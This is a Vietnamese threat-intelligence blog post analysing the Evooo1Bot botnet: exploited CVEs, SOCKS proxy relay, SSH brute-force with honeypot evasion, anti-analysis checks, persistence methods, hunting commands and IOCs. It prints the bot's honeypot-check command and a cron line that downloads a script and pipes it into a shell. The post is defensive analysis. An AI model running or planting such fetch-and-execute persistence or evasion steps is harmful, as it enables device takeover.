Skip to main content

Command Palette

Search for a command to run...

Evooo1Bot: Khi Botnet Biến Thiết Bị Bị Nhiễm Thành Proxy Cho Thuê

Updated
12 min readView as Markdown
Evooo1Bot: Khi Botnet Biến Thiết Bị Bị Nhiễm Thành Proxy Cho Thuê

Tóm tắt tổng quan

Evooo1Bot là botnet Linux modular mới được FortiGuard Labs phát hiện và đặt tên, theo chuỗi "evooo1" hardcoded trong mọi binary. Nó mang engine DDoS từ source code Mirai leaked, nhưng dừng lại ở đó thì không đúng: kiến trúc thực tế là một nền tảng quản trị từ xa 28 lệnh, 10 nhóm chức năng, kèm theo mô-đun SOCKS relay biến thiết bị nạn nhân thành proxy attacker có thể dùng để trốn origin, pivot vào internal network, hoặc cho thuê kiếm tiền.

Mục tiêu là các thiết bị edge tiếp xúc internet: router, camera IP, firewall, thiết bị OT, với ít nhất 10 CVE đang được khai thác tích cực, trải từ 2007 đến 2025. Hạ tầng loader được FortiGuard quan sát từ tháng 7/2026, loader URL 91.92.40[.]118/wget.sh.

Rủi ro cốt lõi cho tổ chức không phải DDoS. Là thiết bị edge của mình trở thành điểm trung chuyển cho traffic độc hại của kẻ khác mà không hay biết, hoặc tệ hơn, là cửa để attacker pivot sâu vào.

Hành động ưu tiên ngay: kiểm tra danh sách CVE trong bài, vá hoặc cô lập các thiết bị bị ảnh hưởng, đặc biệt thiết bị OT và thiết bị từ 2021 trở về trước.

Evooo1Bot là gì

FortiGuard Labs phát hiện Evooo1Bot qua IPS telemetry khi quan sát nhiều exploitation attempt nhắm các edge device khác nhau, tất cả callback đều trỏ về cùng một loader URL: 91.92.40[.]118/wget.sh.

Script này tải về và thực thi binary phù hợp với CPU architecture của thiết bị nạn nhân, hỗ trợ 12 biến thể. Lệnh download dùng wget, busybox wget, curl, hoặc tftp theo thứ tự fallback. Binary được ghi vào đường dẫn tạm, chmod thực thi, chạy, và bash history bị xóa ngay sau đó.

Mỗi exploitation attempt mang một campaign label nhúng vào lệnh download, ví dụ -s mitsu cho thiết bị Mitsubishi Electric, rep.alcatel cho Alcatel-Lucent. Chi tiết này quan trọng: operator không chỉ spray payload mà đang theo dõi yield từng vulnerability riêng. Đó không phải hành vi của một script kiddie chạy tool.

String trong binary được bảo vệ bằng pipeline mã hóa nhiều lớp áp dụng lúc compile. Hơn 60 khối string mã hóa dùng cùng một routine giải mã kết hợp AES-256-CTR và ChaCha20. Khóa không lưu thẳng trong binary mà được chia thành hai hằng số 32 byte nhúng trong .data, kết hợp lại lúc runtime qua XOR. Một subset string trong .rodata dùng XOR đơn giản hơn (0x43 trong bản i386). Mức độ này cao hơn đáng kể so với Mirai gốc.

10 CVE, 19 năm, 6 vendor

Các lỗ hổng đang bị khai thác tích cực, xác nhận từ báo cáo FortiGuard:

CVE-2007-3010   Alcatel OmniPCX Enterprise             RCE
CVE-2016-6277   NETGEAR Multiple Routers               RCE
CVE-2018-14558  Tenda AC7, AC9, AC10                   Command Injection
CVE-2019-14931  Mitsubishi Electric ME-RTU / INEA RTU  Command Injection  ← thiết bị OT
CVE-2020-10987  Tenda AC1900 AC15                      RCE
CVE-2021-46422  Telesquare SDT-CW3B1                   Command Injection
CVE-2022-37055  D-Link Routers                         Buffer Overflow
CVE-2024-29269  Telesquare TLR-2005KSH                 Command Injection
CVE-2025-10123  D-Link DIR-823X                        Command Injection
CVE-2025-55583  D-Link DIR-868L B1                     Command Injection

Module CVE exploit nhúng trong binary còn có thêm 8 entry nhắm Hikvision (CVE-2021-36260), Atlassian Confluence (CVE-2022-26134), Zyxel Firewall (CVE-2022-30525), TP-Link AX21 (CVE-2023-1389), PHP-CGI Windows (CVE-2024-4577), D-Link NAS (CVE-2024-10914), Kubernetes ingress-nginx (CVE-2025-1974), và WSO2 (CVE-2022-29464).

Đáng chú ý: FortiGuard ghi nhận vài entry trong module CVE exploit bị implement sai, không khai thác được như thiết kế. Ví dụ rõ nhất là CVE-2023-34362 (MOVEit Transfer): module chỉ gọi human2.aspx mà không thực hiện bước upload web shell, nghĩa là exploit không hoàn chỉnh. Điều này gợi ý team phát triển đang build theo kiểu tích lũy thêm dần, chưa test kỹ từng entry. Không có gì để mừng vì 10 CVE ban đầu vẫn đang hoạt động bình thường.

Kiến trúc: 28 lệnh, 10 mô-đun

Đây là phần bài muốn nói rõ nhất, vì nó giải thích tại sao Evooo1Bot không nên được giao cho team chịu trách nhiệm DDoS xử lý rồi thôi.

Module Lệnh Chức năng
Persistence !persist Cài đồng loạt 5 cơ chế bám trụ
Self-Update !reinstall Tự thay thế binary đang chạy
Control !kill !exit !info Tắt, thoát, lấy system info
File Transfer !download !upload Truyền file hai chiều, giới hạn 10MB
Interactive Shell !shell !exec !stream !detach !bg PTY đầy đủ, hỗ trợ chạy nền
Sniffer !sniff !stopsniff Đọc /proc/net/tcp, chặn HTTP Basic Auth và Cookie header
SOCKS Relay !socks !socksauth !stopsocks Biến nạn nhân thành proxy node
SSH Scanner !ssh !stopssh !enableautossh !disableautossh Brute-force SSH, 150+ credential
DDoS !attack !stopattack 16 phương thức flood
CVE Exploit !cve !stopcve !cveall HTTP exploit dispatcher

Ba mô-đun tôi sẽ đi sâu là SOCKS relay, SSH brute-force, và anti-analysis, vì đó là ba thứ đặt Evooo1Bot ra khỏi nhóm Mirai clone thông thường.

SOCKS relay: edge device thành hạ tầng attacker

Mô-đun !socks biến thiết bị nhiễm thành SOCKS5 proxy. Hai chế độ hoạt động.

Chế độ direct: mở SOCKS5 listener trên TCP port 1080, đợi kết nối từ client. Ưu tiên IPv6 dual-stack, fallback về IPv4.

Chế độ reverse relay: thay vì lắng nghe, bot chủ động kết nối ra ngoài tới relay server của operator, kênh này được mã hóa. Khi server gửi lệnh RELAY_NEW:<session_id>, bot mở một kết nối thứ hai tới cùng relay server, đăng ký bằng RELAY_DATA:<session_id>, rồi chuyển giao cho SOCKS5 proxy routine. Control channel và proxy traffic tách biệt, cho phép nhiều session chạy song song mà không ảnh hưởng nhau.

Ý nghĩa thực tế: một router hay camera IP bị nhiễm có thể trở thành entry point để attacker pivot vào internal network đằng sau nó, hoặc IP của nạn nhân được dùng để bypass geo-restriction và ẩn nguồn gốc tấn công. Với các botnet lớn hơn, cùng chức năng này có thể được bán như residential proxy service cho khách hàng khác. Đây là bước chuyển từ "thiết bị bị chiếm để DDoS" sang "thiết bị bị chiếm để làm hạ tầng dịch vụ".

SSH brute-force: biết tránh honeypot, biết nhắm enterprise

Trước khi tấn công, scanner thực hiện hai lần kiểm tra honeypot ở hai thời điểm khác nhau.

Lần một ngay trong quá trình handshake SSH, trước khi gửi bất kỳ credential nào. Scanner so sánh banner của target với danh sách hardcoded gồm các implementation quen dùng làm honeypot: Cowrie, Kippo, HonSSH, Glutton, OpenCanary, SSH-2.0-paramiko, SSH-2.0-Go, SSH-2.0-libssh, SSH-2.0-Parks, Twisted, russh, ssh2js, SSH-2.0-CISCO_WLC, SSH-2.0-Server, SSH-2.0-MocanaSSH. Khớp bất kỳ cái nào: bỏ qua im lặng, không log, không tương tác thêm.

Lần hai sau khi đăng nhập thành công, trước khi deliver payload:

cat /proc/version 2>/dev/null; echo ---; cat /proc/1/cmdline 2>/dev/null; ls /opt/cowrie /home/cowrie /home/kippo 2>/dev/null

Kiểm tra output cho chuỗi Linux version. Nếu không có: bỏ qua (môi trường emulated). Nếu phát hiện thư mục Cowrie hoặc Kippo: bỏ qua. Chỉ target qua cả hai check mới nhận payload.

Từ điển credential hơn 150 entry. Điểm đáng chú ý: ngoài default IoT credential thông thường, từ điển có cả service account name như jenkins, postgres, oracle, nagios, deploy. Đây là tên account phổ biến trong môi trường enterprise và OT, không phải consumer router. Nói cách khác, scanner này không chỉ nhắm thiết bị nhỏ mà đang thử cả vào server và infrastructure của doanh nghiệp.

Banner SSH scanner dùng: SSH-2.0-OpenSSH_9.7p1, trông như một client hợp lệ.

Anti-analysis: checklist 40+ công cụ

Trước khi làm bất cứ thứ gì, binary kiểm tra sự hiện diện của:

Filesystem: strace, ltrace, gdb, lldb, valgrind, perf, radare2, r2, rizin, cutter, iaito, ghidra, ghidraRun, ida, ida64, idat, idat64, objdump, readelf, retdec-decompiler, wireshark, tshark, tcpdump, ngrep, ettercap, yara, ssdeep, binwalk, foremost, sysdig, bpftrace, auditd, ausearch, fatrace, inotifywait, lynis, rkhunter, chkrootkit, clamdscan, clamscan, volatility, vol.py, gcore.

Process name đang chạy: gdb, lldb, strace, ltrace, radare2, r2, rizin, rr, valgrind, perf, ida, ida64, ghidra, sysdig, bpftrace, frida, frida-server.

Sandbox service: sandboxie, cuckoo, anubis, threatexpert, joebox, comodo, hybrid-analysis, cape-sandbox, fireeye, normanbox, drakvuf.

VM và container fingerprint: vmware, vbox, virtualbox, qemu, firejail, bubblewrap, gvisor, kata, cuckoo, joesandbox, cape, any.run, hybrid-analysis.

Sau khi qua hết các check, binary kết nối C2 trên TCP port 443, chọn port này để blend vào HTTPS traffic hợp lệ.

Persistence: 5 kênh, cùng lúc

Lệnh !persist cài đồng thời tất cả:

  • systemd service: unit file tự mô tả là Apache HTTPD Cache Manager, Restart=always

  • SysV init script: tự cài vào /etc/init.d/, tải lại script mỗi lần boot

  • Cron: entry mỗi 5 phút, tải và chạy shell script từ URL ngoài

  • Shell profile: inject vào /etc/profile.d/, kích hoạt mỗi lần login

  • rc.local: append vào /etc/rc.local

Thêm: binary ghi vào /proc/self/oom_score_adj để OOM killer ít ưu tiên kill nó hơn, và giữ /dev/watchdog mở để tránh thiết bị reboot khi idle quá lâu tự reset.

Năm kênh persistence cùng lúc. Xóa một vẫn còn bốn.

Nhận định

Tôi có một lập trường hơi khác với cách hầu hết bài viết về Mirai variant tiếp cận chủ đề này.

Thường thì câu chuyện là "lại thêm Mirai clone, lại DDoS to hơn". Evooo1Bot thực sự không phải chuyện DDoS. Module DDoS có đó, 16 phương thức, đầy đủ, nhưng nó ngang vai với 9 module kia. Phần nguy hiểm nhất không phải là phần ồn ào nhất.

SOCKS relay là thứ đáng để lo. Và lý do không phải vì kỹ thuật phức tạp, mà vì nó thay đổi cách nhìn về giá trị của một thiết bị bị nhiễm. Trước đây: bị nhiễm thì bị dùng để flood. Giờ: bị nhiễm thì trở thành infrastructure mà attacker hoặc khách hàng của họ route traffic qua. Điều đó có nghĩa là thiết bị edge của tổ chức, router văn phòng, camera giám sát, firewall branch, có thể đang tham gia vào các chiến dịch tấn công của người khác mà không có alert nào ở phía tổ chức.

Về CVE list, tôi thấy CVE-2019-14931 nhắm Mitsubishi Electric ME-RTU đáng lo hơn phần còn lại. Đây là thiết bị OT, Remote Terminal Unit, thường không có quy trình patch giống IT. Môi trường OT vốn có cycle dài, downtime không phải lúc nào cũng được chấp nhận để patch, và một số vendor không còn support firmware cũ. Nếu tổ chức có thiết bị ME-RTU, tôi sẽ kiểm tra trước.

Điểm gây tò mò: một số entry trong module CVE exploit bị implement sai, không hoạt động. FortiGuard nêu CVE-2023-34362 làm ví dụ. Điều này không có nghĩa là operator kém năng lực, nó có nghĩa là binary đang trong giai đoạn phát triển tích lũy và chưa được test kỹ ở production. Theo logic đó, khả năng cao là các phiên bản tiếp theo sẽ fix những entry này. Ngăn bây giờ dễ hơn sau khi module hoàn chỉnh.

[ANECDOTE NEEDED: nếu SOC của bạn từng ghi nhận edge device sinh ra SOCKS5 traffic bất thường, hoặc từng thấy campaign label kiểu "-s mitsu" trong exploit log, thêm vào đây sẽ rất đắt]

Phát hiện và khuyến nghị

Immediate (0-24h)

Vá hoặc cô lập các thiết bị ảnh hưởng theo CVE list, ưu tiên theo thứ tự:

  1. Mitsubishi Electric ME-RTU (CVE-2019-14931) nếu môi trường có OT

  2. Thiết bị D-Link (CVE-2022-37055, CVE-2025-10123, CVE-2025-55583)

  3. Tenda AC series (CVE-2018-14558, CVE-2020-10987)

  4. Telesquare (CVE-2021-46422, CVE-2024-29269)

Block IOC sau ở perimeter và endpoint:

# IP
91.92.40[.]118          # Loader / C2

# SHA-256
f13cb360768363d3424e2192c7805b8c8015eb8706dbbbcdead6aed8cf390109
4c0886349e9d348569fffe1b7a31e474d514508bf0cd6f1e5dd99c2a73525e4d

# Loader URL
91.92.40[.]118/wget.sh

Hunt ngay trong môi trường

Các hunt query ưu tiên cao, theo thứ tự:

Cron 5 phút gọi ra ngoài:

# Tìm cron entry tải script từ URL ngoài
grep -r "wget\|curl" /var/spool/cron/ /etc/cron* 2>/dev/null | grep "http"

Systemd service giả mạo Apache:

systemctl list-units --all | grep -i "apache\|httpd\|cache"
# Kiểm tra Description trong unit file nghi ngờ
systemctl cat <tên-service>

SOCKS5 listener trên port 1080 từ edge device:

ss -tlnp | grep 1080
# Hoặc tìm trong SIEM: inbound TCP 1080 từ IP trong dải edge device

SSH banner bất thường từ thiết bị không phải Linux server: Tìm trong log SSH connection: SSH-2.0-OpenSSH_9.7p1 xuất phát từ IP trong dải IoT/edge.

Outbound kết nối TCP 443 từ thiết bị IoT/edge không có lý do: Traffic HTTPS từ camera, router, RTU không nên đi ra ngoài trừ update firmware. Bất thường này đáng điều tra.

Short-term (1-7 ngày)

Rà soát toàn bộ asset inventory cho thiết bị có CVE trong danh sách bài này. Nếu không patch được vì EOL hoặc vendor không còn hỗ trợ: cô lập thiết bị đó vào VLAN riêng, không route thẳng ra internet.

Với môi trường có thiết bị OT: xem xét thêm lớp network monitoring riêng cho OT segment, ưu tiên alert trên bất kỳ kết nối outbound TCP nào từ thiết bị RTU.

Long-term

Botnet này khai thác thiết bị chưa patch, một số lỗ hổng cũ gần hai thập kỷ. Nếu tổ chức chưa có asset inventory đủ sát để biết mình đang chạy firmware nào trên thiết bị edge, đó là vấn đề cần giải quyết ở tầm quy trình, không phải patch từng device một.

IOC

# C2 / Loader
91.92.40[.]118
91.92.40[.]118/wget.sh

# SHA-256 (binary samples)
f13cb360768363d3424e2192c7805b8c8015eb8706dbbbcdead6aed8cf390109
4c0886349e9d348569fffe1b7a31e474d514508bf0cd6f1e5dd99c2a73525e4d

# Tên task / service đáng ngờ
Systemd service với Description="Apache HTTPD Cache Manager"
Cron: */5 * * * * /bin/sh -c '(wget -qO- <URL> || curl -sL <URL>) | /bin/sh'

# SSH banner scanner
SSH-2.0-OpenSSH_9.7p1 từ thiết bị không phải OpenSSH server thật

Tài liệu tham khảo

More from this blog

F

FPT IS Security

981 posts

Dedicated to providing insightful articles on cybersecurity threat intelligence, aimed at empowering individuals and organizations to navigate the digital landscape safely.